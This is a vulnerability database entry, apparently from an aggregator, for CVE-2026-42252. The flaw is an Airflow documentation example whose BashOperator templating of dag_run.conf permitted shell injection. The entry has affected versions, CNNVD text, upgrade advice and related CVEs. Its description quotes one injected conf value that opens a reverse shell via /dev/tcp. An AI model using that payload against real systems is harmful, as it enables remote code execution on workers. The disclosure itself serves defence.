Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2026-42252— Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern

Quick assessment

Affected
Apache Software Foundation Apache Airflow
Exploitation
No confirmed in-the-wild exploitation; assess based on exposure
Recommended action
Check the vendor advisory and references for a fixed version. If immediate upgrade is impossible, restrict exposure and increase monitoring.

Apache Airflow是美国阿帕奇(Apache)基金会的一套具有创建、管理和监控工作流程功能的开源平台。该平台具有可扩展和动态监控等特点。 Apache Airflow存在安全漏洞,该漏洞源于官方文档中BashOperator示例未包含引号或清理警告,可能导致Dag作者复制该模式后,经过身份验证的触发用户通过触发API的conf字段注入shell元字符。

AI Predicted 9.1 Difficulty: Easy EPSS 0.59% · P46

Affected Version Matrix 1

VendorProduct Version RangeStatus
Apache Software Foundation Apache Airflow 3.0.0< 3.2.2 affected
Get alerts for future matching vulnerabilities Log in to subscribe

I. Basic Information for CVE-2026-42252

Vulnerability Information

Have questions about the vulnerability? See if Shenlong's analysis helps!
View Shenlong Deep Dive ↗

Although we use advanced large model technology, its output may still contain inaccurate or outdated information.Shenlong tries to ensure data accuracy, but please verify and judge based on the actual situation.

Vulnerability Title
Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern
Source: CVE Program / CVE List V5
Vulnerability Description
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
Source: CVE Program / CVE List V5
CVSS Information
N/A
Source: CVE Program / CVE List V5
Vulnerability Type
CWE-1336
Source: CVE Program / CVE List V5
Vulnerability Title
Apache Airflow 安全漏洞
Source: CNNVD (China National Vulnerability Database)
Vulnerability Description
Apache Airflow是美国阿帕奇(Apache)基金会的一套具有创建、管理和监控工作流程功能的开源平台。该平台具有可扩展和动态监控等特点。 Apache Airflow存在安全漏洞,该漏洞源于官方文档中BashOperator示例未包含引号或清理警告,可能导致Dag作者复制该模式后,经过身份验证的触发用户通过触发API的conf字段注入shell元字符。
Source: CNNVD (China National Vulnerability Database)
CVSS Information
N/A
Source: CNNVD (China National Vulnerability Database)
Vulnerability Type
N/A
Source: CNNVD (China National Vulnerability Database)

Affected Products

Vendor Product Affected Versions CPE Subscribe
Apache Software Foundation Apache Airflow 3.0.0 ~ 3.2.2 -

II. Public POCs for CVE-2026-42252

# POC Description Source Link Shenlong Link
AI-Generated POC Premium

No public POC found.

Login to generate AI POC

III. Intelligence Information for CVE-2026-42252

请登录查看更多情报信息。

Mailing List Discussions for CVE-2026-42252 (1)

Same Patch Batch · Apache Software Foundation · 2026-06-01 · 28 CVEs total

CVE-2026-44825 8.1 HIGH Apache Solr: Enabling BasicAuth using bin/solr CLI configures additional insecure users
CVE-2026-48827 7.1 HIGH Apache MINA SSHD: Path traversal in org.apache.sshd:sshd-git
CVE-2026-42359 Apache Airflow: Authenticated RCE via XCom PATCH endpoint — XComUpdateBody missing FORBIDD
CVE-2026-49328 Apache Fesod (Incubating): Improper validation of user-supplied URLs leading to SSRF
CVE-2026-49361 Apache Fluss Netty Frame Decoder Memory Exhaustion Vulnerability
CVE-2026-40861 Apache Airflow: Arbitrary File Read via Log Symlink following in FileTaskHandler
CVE-2026-40961 Apache Airflow: Open Redirect Bypass Vulnerability
CVE-2026-40963 Apache Airflow: DAG authorization bypass on /ui/structure/structure_data
CVE-2026-41014 Apache Airflow: per-DAG RBAC bypass on /ui/partitioned_dag_runs endpoints
CVE-2026-49267 Apache Airflow: No certificate validation on SMTP STARTTLS connections
CVE-2026-41017 Apache Airflow: JWT cookie missing Secure flag in JWTRefreshMiddleware behind HTTPS-termin
CVE-2026-41084 Apache Airflow: API authorization bypass: bulk TaskInstances allows cross-DAG mutation
CVE-2026-42360 Apache Airflow: Rendered template truncation bypasses nested sensitive-key masking
CVE-2026-42358 Apache Airflow: Variable masker depth-limit bypass returns cleartext nested secrets
CVE-2026-45192 Apache Airflow: Incomplete Redaction of Sensitive Fields in Connection Extra API Response
CVE-2026-45360 Apache Airflow: Arbitrary import in custom deadline-reference deserialization
CVE-2026-45426 Apache Airflow: Log server JWT authorization bypass via Python lstrip() character strippin
CVE-2026-46764 Apache Airflow: Event Log detail endpoint bypasses DAG-scoped event log permission filter
CVE-2026-48726 Apache Airflow: revoke_token() unreachable in FabAuthManager / KeycloakAuthManager logout
CVE-2026-49298 Apache Airflow: JWT Token Exposure in KubernetesExecutor Command-Line Arguments

Showing top 20 of 28 CVEs. View all on vendor page &rarr; →

IV. Related Vulnerabilities

V. Comments for CVE-2026-42252

No comments yet


Leave a comment